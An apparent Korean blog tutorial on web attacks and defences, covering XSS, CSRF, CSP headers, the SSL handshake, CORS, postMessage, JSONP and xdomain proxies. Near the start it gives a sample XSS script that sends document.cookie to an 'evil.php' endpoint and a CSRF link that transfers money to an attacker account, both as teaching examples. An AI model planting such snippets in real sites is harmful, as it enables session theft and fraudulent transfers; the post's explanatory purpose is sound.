개방형 웹 앱에서는 보안을 확인하는 것이 중요하다. 유저의 개인정보가 유출될수도 있고, 인터넷 은행 같은 서비스에서는 자산적 피해로 이어질 수 있다. 그래서 이 포스트에선 웹 공격과 웹 보안에 대해 알아보고자 한다.
웹 공격에는 대표적으로 두 가지가 있다.
<--! 다음과 같은 코드를 공격 웹 사이트에 심어놓음으로 인해 cookie를 evil.php로 전송하여 탈취 -->
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
<--! www.example.com/transfer이 송금이고 공격받는 사용자가 인증되었다고 가정했을 때 -->
<--! input 검사를 하지 않는 FAQ 같은 곳에 삽입할 수 있을 것이다. -->
<a href="www.example.com/transfer?account=attackerAccount&amount=$100">자세히 알아보기</a>
CSP는 XSS처럼 데이터를 삽입해 공격을 하는 막는 보안 계층이다.
일반적으로 Content-Security-Policy 헤더를 사용하고, <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
이와 같이 meta 태그로 설정할 때도 있다.
가장 중요한 값은 default-src 인데, 이는 인라인 스크립트와 스타일이 실행되는 것을 방지한다. 아래 몇가지 예를 보면서 뜻을 알아보자.
예1) 모든 콘텐츠가 사이트 고유의 출처에서 제공되기를 원함.
Content-Security-Policy: default-src 'self'
예2) 이미지는 모든 곳에서 제공될 수 있지만, 스크립트는 지정된 서버에서만 허용.
Content-Security-Policy: default-src 'self'; img-src *; script-src userscripts.example.com
이처럼 리소스 출처에 제한을 두면서 공격에 대처하는 방법이다.
SSL 프로토콜을 이용하여 비공개로 정보를 교환할 수 있게 한다. SSL을 통해 인증서를 발급하고 클라이언트는 브라우저의 CA리스트를 확인하여 서버가 믿을 수 있는 서버인지 확인한다.
클라이언트, 서버에서 각각 난수를 생성하고 그걸 이용하여 서버에서 세션키를 생성.
세션키를 대칭키로 이용해서 데이터 송수신.
세션 종료 시 세션키를 폐기한다.
SOP에 의해 같은 프로토콜, 호스트, 포트에 의해서 문서나 스크립트를 가져오게 된다. 이 때 다른 도메인로 요청하려는 경우가 생기는데 이때 사용하는 방법이 CORS이다.
먼저 CORS는 아래의 두가지 경우로 나뉜다.
Conent-Type Header: 다음 값들만 허용
application/x-www-form-urlencoded
multipart/form-data
text/plain
조건은 위의 3개를 다 만족해야 하고 이 경우엔 서버에서 설정한 Access-Control-Allow-Origin 헤더의 값만 충족한다면 도메인이 다르더라도 리소스를 받을 수 있다.
simple request를 제외한 모든 요청은 다 이 경우에 해당한다. 이 때는 요청 응답을 받는 프로세스가 달라지는데,
먼저, OPTIONS 메소드로 서버에서 허용하고 있는 아래의 4가지 값을 확인한다.
그리고 클라이언트에서 보낸 요청이 조건 중 상위 3가지의 응답을 충족하는지 확인하고, 한다면 본래의 요청을 다시 보내 응답을 받고 충족하지 못한다면 브라우저가 CORS error를 뱉는다. 이 때 마지막 Access-Control-Max-Age
는 preflight request의 캐시 시간이다.
Window object간에 메세지를 통신할 수 있게 한다.
// popup 여는 쪽 Origin: http://example.com:8080
var popup = window.open('http://www.example.com')
popup.postMessage("hi there", 'http://www.example.com')
// 메세지 받는 쪽 Origin: http://www.example.com
function receiveMessage(event)
{
// Do we trust the sender of this message?
if (event.origin !== "http://example.com:8080") return;
event.source.postMessage(
"hi there yourself! the secret response " + "is: rheeeeet!", event.origin
);
}
window.addEventListener("message", receiveMessage, false);
XHR 객체를 사용하지 않고 <script>
태그를 사용하는 방법
콜백함수를 반환해서 클라이언트에 있는 콜백함수를 실행하게 함
<script src="demo_jsonp.php">
// response example: myFunction({name: "John", age: 30})
만약 클라이언트의 콜백을 예측할 수 없다면? 그 땐 서버 파일에서 파라미터를 콜백이름으로 받아 그대로 리턴해줄 수 있다.
<script src="jsonp_demo_db.php?callback=myDisplayFunction"></script>
서버에는 proxy.html 만 생성하고
<--! http://www.server.com의 proxy.html -->
<!DOCTYPE HTML>
<script src="//unpkg.com/xdomain@0.8.2/dist/xdomain.min.js" master="http://www.client.com"></script>
클라이언트에는 slave 속성만 설정해준다.
<--! // xdomain package도 포함하고 있어야 함, http://www.client.com -->
<script src="//unpkg.com/xdomain@0.8.2/dist/xdomain.min.js" slave="http://www.server.com/proxy.html"></script>
요청할 땐 xhr을 사용한다.
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.server.com/secret/file.txt");